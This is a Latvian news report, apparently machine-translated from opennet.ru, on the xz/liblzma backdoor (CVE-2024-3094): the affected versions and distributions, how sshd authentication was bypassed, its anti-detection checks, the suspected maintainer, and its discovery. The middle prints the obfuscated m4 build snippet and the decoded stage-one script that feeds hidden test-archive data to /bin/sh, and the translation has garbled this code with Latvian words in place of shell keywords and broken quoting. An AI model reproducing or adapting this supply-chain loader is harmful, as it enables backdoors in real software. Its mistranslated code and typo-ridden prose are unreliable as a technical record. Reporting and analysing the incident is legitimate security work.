xz/liblzma bibliotēkā tika atklātas aizmugures durvis, kas ļauj ievadīt, izmantojot sshd

XZ Utils pakotnē, kurā ir iekļauta liblzma bibliotēka un utilītas darbam ar saspiestiem datiem “.xz” formātā, ir identificētas aizmugures durvis (CVE-2024-3094), kas ļauj pārtvert un modificēt saistītos lietojumprogrammu apstrādātos datus. ar liblzmas bibliotku. Galvenais aizmugures durvju mērķis ir OpenSSH serveris, kas dažos izplatījumos ir apvienots ar libsystemd bibliotēku, kas savukārt izmanto liblzma. Sshd saistīšana ar neaizsargātu bibliotēku ļauj uzbrucējiem piekļūt SSH serverim bez autentifikācijas.

Aizmugures durvis bija oficiālajos laidienos 5.6.0 un 5.6.1, kas tika publicēti 24. februārī un 9. martā un kuriem izdevās iekļūt dažos izplatījumos un krātuvēs, piemēram, Gentoo, Arch Linux, Debian sid/unstable, Fedora Rawhide un 40-beta, openSUSE rūpnīca un tumbleweed, LibreELEC, Alpine edge, Solus, NixOS nestabils, OpenIndiana, OpenMandriva ritošais, pkgsrc strāva, Slackware strāva, Manjaro testēšana. Visiem xz 5.6.0 un 5.6.1 laidienu lietotājiem ieteicams steidzami atgriezties pie versijas 5.4.6.

Starp faktoriem, kas mazina problēmu, var atzīmēt, ka liblzma versijai ar aizmugures durvīm neizdevās kļūt par daļu no lielu izplatījumu stabilajiem laidieniem, bet tā ietekmēja openSUSE Tumbleweed un Fedora 40-beta. Arch Linux un Gentoo izmantoja ievainojamu zx versiju, taču tās nav uzņēmīgas pret uzbrukumu, jo tās nelieto systemd-notify ielāpu openssh, kas izraisa sshd saiti ar liblzma. Aizmugurējās durvis ietekmē tikai x86_64 sistēmas, kuru pamatā ir Linux kodols un Glibc C bibliotēka.

Aizmugurējo durvju aktivizācijas kods tika paslēpts m4 makro no faila build-to-host.m4, ko izmantoja automake rīku komplekts, veidojot. Montāžas laikā, veicot sarežģītas aptumšotas darbības, kuru pamatā ir arhīvi (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma), kas izmantoti darbības pareizības pārbaudei, tika ģenerēts objekta fails ar ļaunprātīgu kodu, kas tika iekļauts liblzma bibliotēku un mainīja dažu tās funkciju darbības loģiku. M4 makro, kas aktivizē aizmugures durvis, tika iekļauti izlaiduma tarbolos, bet nebija Git repozitorijā. Tajā pašā laikā repozitorijā atradās ļaunprātīgi testa arhīvi, t.i. personai, kas ieviesa aizmugures durvis, bija piekļuve gan repozitorija, gan laidiena ģenerēšanas procesiem.

Lietojot liblzma lietojumprogrammās, ļaunprātīgas izmaiņas var tikt izmantotas, lai pārtvertu vai modificētu datus vai ietekmētu sshd darbību. Ļaunprātīgais kods īpaši izkrāpa funkciju RSA_public_decrypt, lai apietu sshd autentifikācijas procesu. Aizmugurējās durvis ietvēra aizsardzību pret noteikšanu un neizpaudās, kad tika iestatīti vides mainīgie LANG un TERM (t.i., palaižot procesu terminālī) un vides mainīgie LD_DEBUG un LD_PROFILE nebija iestatīti, kā arī tika aktivizēti tikai izpildot /usr/sbin/sshd izpildāmais fails . Aizmugures durvīm bija arī līdzeklis, lai noteiktu izpildi atkļūdošanas vidēs.

Jo īpaši failā m4/build-to-host.m4 tika izmantots gl_am_configmake=`grep -aErls “#{4}[[:alnum:]]{5}#{4}$” $srcdir/ 2>/dev / null` … gl_[$1]_config='sed \»r\n\» $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'

Pirmajā konstrukcijā grep darbība atrada failu tests/files/bad-3-corrupt_lzma2.xz, kas, izpakojot, ģenerēja skriptu: ####Sveiki#### #345U211267$^D330^W [ ! $(uname) = "Linux" ] && iziet no 0 [ ! $(uname) = "Linux" ] && iziet no 0 [ ! $(uname) = "Linux" ] && iziet no 0 [ ! $(uname) = "Linux" ] && iziet no 0 [ ! $(uname) = "Linux" ] && iziet 0 eval `grep ^srcdir= config.status` if test -f ../../config.status;tad eval `grep ^srcdir= ../../config .status` srcdir="../../$srcdir» fi export i=»((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/ null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head - c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head - c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/ dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && ( head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13 \50-\113" "\0-\377")|xz -F neapstrādāts —lzma1 -dc|/bin/sh ####Pasaule####

Kā uzbrucējiem izdevies piekļūt xz projekta infrastruktūrai, vēl nav pilnībā noskaidrots. Tāpat vēl nav skaidrs, cik lietotāju un projektu tika apdraudēti aizmugures durvju rezultātā. Iespējamais aizmugures durvju (JiaT75 — Jia Tan) autors, kurš repozitorijā ievietoja arhīvus ar ļaunprātīgu kodu, sazinājās ar Fedora izstrādātājiem un nosūtīja Debian izvilkšanas pieprasījumus, kas saistīti ar izplatījumu pāreju uz xz 5.6.0 filiāli, un to nedarīja. rada aizdomas, jo viņš piedalījās xz ir izstrādājis pēdējos divus gadus un ir otrais izstrādātājs veikto izmaiņu skaita ziņā. Papildus xz projektam iespējamais backdoor autors piedalījās arī xz-java un xz iegulto pakotņu izstrādē. Turklāt Jia Tan pirms dažām dienām tika iekļauts Linux kodolā izmantotā XZ Embedded projekta uzturētāju skaitā.

Ļaunprātīgās izmaiņas tika atklātas, analizējot pārmērīgu CPU patēriņu un kļūdas, ko ģenerēja valgrind, pieslēdzoties caur ssh uz Debian sid balstītām sistēmām. Zīmīgi, ka xz 5.6.1 laidienā bija iekļautas izmaiņas, kuras sagatavoja iespējamais backdoor autors, reaģējot uz sūdzībām par sshd palēninājumiem un avārijām, kas radās pēc jaunināšanas uz zx 5.6.0 versiju ar backdoor. Turklāt pagājušajā gadā Jia Tan veica izmaiņas, kas nebija saderīgas ar pārbaudes režīmu "-fsanitize=address", kā rezultātā tas tika atspējots izplūdes testēšanas laikā.

Avots: opennet.ru

Pievieno komentāru